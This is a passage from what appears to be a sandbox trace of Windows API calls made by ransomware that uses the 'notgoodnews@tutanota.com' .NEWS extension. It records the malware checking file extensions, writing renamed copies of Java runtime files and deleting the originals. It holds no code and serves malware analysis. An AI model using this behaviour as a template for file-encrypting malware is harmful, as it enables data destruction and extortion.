lpNumberOfBytesWritten=0x2d5fc94*=0xf0, lpOverlapped=0x0) returned 1 [0089.339] SetEndOfFile (hFile=0x374) returned 1 [0089.339] CloseHandle (hObject=0x374) returned 1 [0089.339] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.339] SetEndOfFile (hFile=0x338) returned 1 [0089.341] CloseHandle (hObject=0x338) returned 1 [0089.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0089.341] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 1 [0089.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0089.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0089.341] lstrlenW (lpString=".doc") returned 4 [0089.341] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.341] lstrlenW (lpString=".docx") returned 5 [0089.341] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0089.341] lstrlenW (lpString=".pdf") returned 4 [0089.341] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.341] lstrlenW (lpString=".xls") returned 4 [0089.341] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.341] lstrlenW (lpString=".xlsx") returned 5 [0089.341] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0089.341] lstrlenW (lpString=".ppt") returned 4 [0089.341] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.341] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0089.341] lstrlenW (lpString=".zip") returned 4 [0089.342] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.342] lstrlenW (lpString=".rar") returned 4 [0089.342] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.342] lstrlenW (lpString=".bz2") returned 4 [0089.342] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.342] lstrlenW (lpString=".7z") returned 3 [0089.342] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0089.342] lstrlenW (lpString=".dbf") returned 4 [0089.342] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0089.342] lstrlenW (lpString=".1cd") returned 4 [0089.342] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0089.342] lstrlenW (lpString=".jpg") returned 4 [0089.342] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0089.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0089.342] lstrlenW (lpString=".doc") returned 4 [0089.342] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.342] lstrlenW (lpString=".docx") returned 5 [0089.342] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0089.342] lstrlenW (lpString=".pdf") returned 4 [0089.342] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.342] lstrlenW (lpString=".xls") returned 4 [0089.342] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.342] lstrlenW (lpString=".xlsx") returned 5 [0089.342] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0089.342] lstrlenW (lpString=".ppt") returned 4 [0089.342] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0089.342] lstrlenW (lpString=".zip") returned 4 [0089.342] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.342] lstrlenW (lpString=".rar") returned 4 [0089.342] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.342] lstrlenW (lpString=".bz2") returned 4 [0089.343] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.343] lstrlenW (lpString=".7z") returned 3 [0089.343] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0089.343] lstrlenW (lpString=".dbf") returned 4 [0089.343] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0089.343] lstrlenW (lpString=".1cd") returned 4 [0089.343] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0089.343] lstrlenW (lpString=".jpg") returned 4 [0089.343] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.343] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.343] lstrlenW (lpString="npdeployJava1.dll") returned 17 [0089.343] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0089.343] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1156672) returned 1 [0089.343] CloseHandle (hObject=0x338) returned 1 [0089.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20 [0089.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.344] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0089.344] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.344] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.344] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0089.346] GetLastError () returned 0x0 [0089.346] ReadFile (in: hFile=0x338, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0089.366] WriteFile (in: hFile=0x33c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0089.719] ReadFile (in: hFile=0x338, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x1a650, lpOverlapped=0x0) returned 1 [0089.731] WriteFile (in: hFile=0x33c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x1a660, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1a660, lpOverlapped=0x0) returned 1 [0089.737] ReadFile (in: hFile=0x338, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.738] WriteFile (in: hFile=0x33c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf6, lpOverlapped=0x0) returned 1 [0089.738] SetEndOfFile (hFile=0x33c) returned 1 [0090.112] CloseHandle (hObject=0x33c) returned 1 [0090.112] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.112] SetEndOfFile (hFile=0x338) returned 1 [0090.114] CloseHandle (hObject=0x338) returned 1 [0090.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.114] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 1 [0090.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0090.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0090.115] lstrlenW (lpString=".doc") returned 4 [0090.115] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.115] lstrlenW (lpString=".docx") returned 5 [0090.115] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0090.115] lstrlenW (lpString=".pdf") returned 4 [0090.115] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.115] lstrlenW (lpString=".xls") returned 4 [0090.115] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.115] lstrlenW (lpString=".xlsx") returned 5 [0090.115] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0090.115] lstrlenW (lpString=".ppt") returned 4 [0090.115] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0090.115] lstrlenW (lpString=".zip") returned 4 [0090.115] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.115] lstrlenW (lpString=".rar") returned 4 [0090.115] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.115] lstrlenW (lpString=".bz2") returned 4 [0090.115] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.115] lstrlenW (lpString=".7z") returned 3 [0090.115] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0090.115] lstrlenW (lpString=".dbf") returned 4 [0090.115] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0090.115] lstrlenW (lpString=".1cd") returned 4 [0090.115] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0090.115] lstrlenW (lpString=".jpg") returned 4 [0090.115] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0090.115] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0090.116] lstrlenW (lpString=".doc") returned 4 [0090.116] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.116] lstrlenW (lpString=".docx") returned 5 [0090.116] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0090.116] lstrlenW (lpString=".pdf") returned 4 [0090.116] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.116] lstrlenW (lpString=".xls") returned 4 [0090.116] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.116] lstrlenW (lpString=".xlsx") returned 5 [0090.116] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0090.116] lstrlenW (lpString=".ppt") returned 4 [0090.116] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0090.116] lstrlenW (lpString=".zip") returned 4 [0090.116] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.116] lstrlenW (lpString=".rar") returned 4 [0090.116] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.116] lstrlenW (lpString=".bz2") returned 4 [0090.116] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.116] lstrlenW (lpString=".7z") returned 3 [0090.116] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0090.116] lstrlenW (lpString=".dbf") returned 4 [0090.116] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0090.116] lstrlenW (lpString=".1cd") returned 4 [0090.116] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0090.116] lstrlenW (lpString=".jpg") returned 4 [0090.116] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.116] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0090.116] lstrlenW (lpString="gstreamer-lite.dll") returned 18 [0090.117] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.172] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=619584) returned 1 [0090.172] CloseHandle (hObject=0x33c) returned 1 [0090.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20 [0090.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.172] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.173] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.173] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.173] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.173] GetLastError () returned 0x0 [0090.173] ReadFile (in: hFile=0x33c, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x97440, lpOverlapped=0x0) returned 1 [0090.185] WriteFile (in: hFile=0x38c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x97450, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x97450, lpOverlapped=0x0) returned 1 [0090.196] ReadFile (in: hFile=0x33c, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.196] WriteFile (in: hFile=0x38c, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf8, lpOverlapped=0x0) returned 1 [0090.196] SetEndOfFile (hFile=0x38c) returned 1 [0090.196] CloseHandle (hObject=0x38c) returned 1 [0090.196] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.196] SetEndOfFile (hFile=0x33c) returned 1 [0090.936] CloseHandle (hObject=0x33c) returned 1 [0091.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.026] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 1 [0091.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0091.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0091.026] lstrlenW (lpString=".doc") returned 4 [0091.026] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.026] lstrlenW (lpString=".docx") returned 5 [0091.026] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0091.026] lstrlenW (lpString=".pdf") returned 4 [0091.026] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.026] lstrlenW (lpString=".xls") returned 4 [0091.026] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.026] lstrlenW (lpString=".xlsx") returned 5 [0091.026] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0091.026] lstrlenW (lpString=".ppt") returned 4 [0091.026] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0091.026] lstrlenW (lpString=".zip") returned 4 [0091.026] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.026] lstrlenW (lpString=".rar") returned 4 [0091.026] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.026] lstrlenW (lpString=".bz2") returned 4 [0091.026] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.026] lstrlenW (lpString=".7z") returned 3 [0091.026] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0091.027] lstrlenW (lpString=".dbf") returned 4 [0091.027] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0091.027] lstrlenW (lpString=".1cd") returned 4 [0091.027] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0091.027] lstrlenW (lpString=".jpg") returned 4 [0091.027] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0091.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0091.027] lstrlenW (lpString=".doc") returned 4 [0091.027] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.027] lstrlenW (lpString=".docx") returned 5 [0091.027] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0091.027] lstrlenW (lpString=".pdf") returned 4 [0091.027] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.027] lstrlenW (lpString=".xls") returned 4 [0091.027] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.027] lstrlenW (lpString=".xlsx") returned 5 [0091.027] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0091.027] lstrlenW (lpString=".ppt") returned 4 [0091.027] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0091.027] lstrlenW (lpString=".zip") returned 4 [0091.027] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.027] lstrlenW (lpString=".rar") returned 4 [0091.027] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.027] lstrlenW (lpString=".bz2") returned 4 [0091.027] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.027] lstrlenW (lpString=".7z") returned 3 [0091.027] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0091.027] lstrlenW (lpString=".dbf") returned 4 [0091.027] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0091.027] lstrlenW (lpString=".1cd") returned 4 [0091.028] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57 [0091.028] lstrlenW (lpString=".jpg") returned 4 [0091.028] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.028] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0091.028] lstrlenW (lpString="javaws.exe") returned 10 [0091.028] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.028] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=319552) returned 1 [0091.028] CloseHandle (hObject=0x338) returned 1 [0091.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 0x20 [0091.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.028] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.028] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.029] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.029] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0091.029] GetLastError () returned 0x0 [0091.029] ReadFile (in: hFile=0x338, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x4e040, lpOverlapped=0x0) returned 1 [0091.036] WriteFile (in: hFile=0x364, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x4e050, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4e050, lpOverlapped=0x0) returned 1 [0091.042] ReadFile (in: hFile=0x338, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.042] WriteFile (in: hFile=0x364, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe8, lpOverlapped=0x0) returned 1 [0091.042] SetEndOfFile (hFile=0x364) returned 1 [0091.042] CloseHandle (hObject=0x364) returned 1 [0091.042] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.042] SetEndOfFile (hFile=0x338) returned 1 [0091.045] CloseHandle (hObject=0x338) returned 1 [0091.045] SetFileAttributesW (lpFileName="C:\\Program 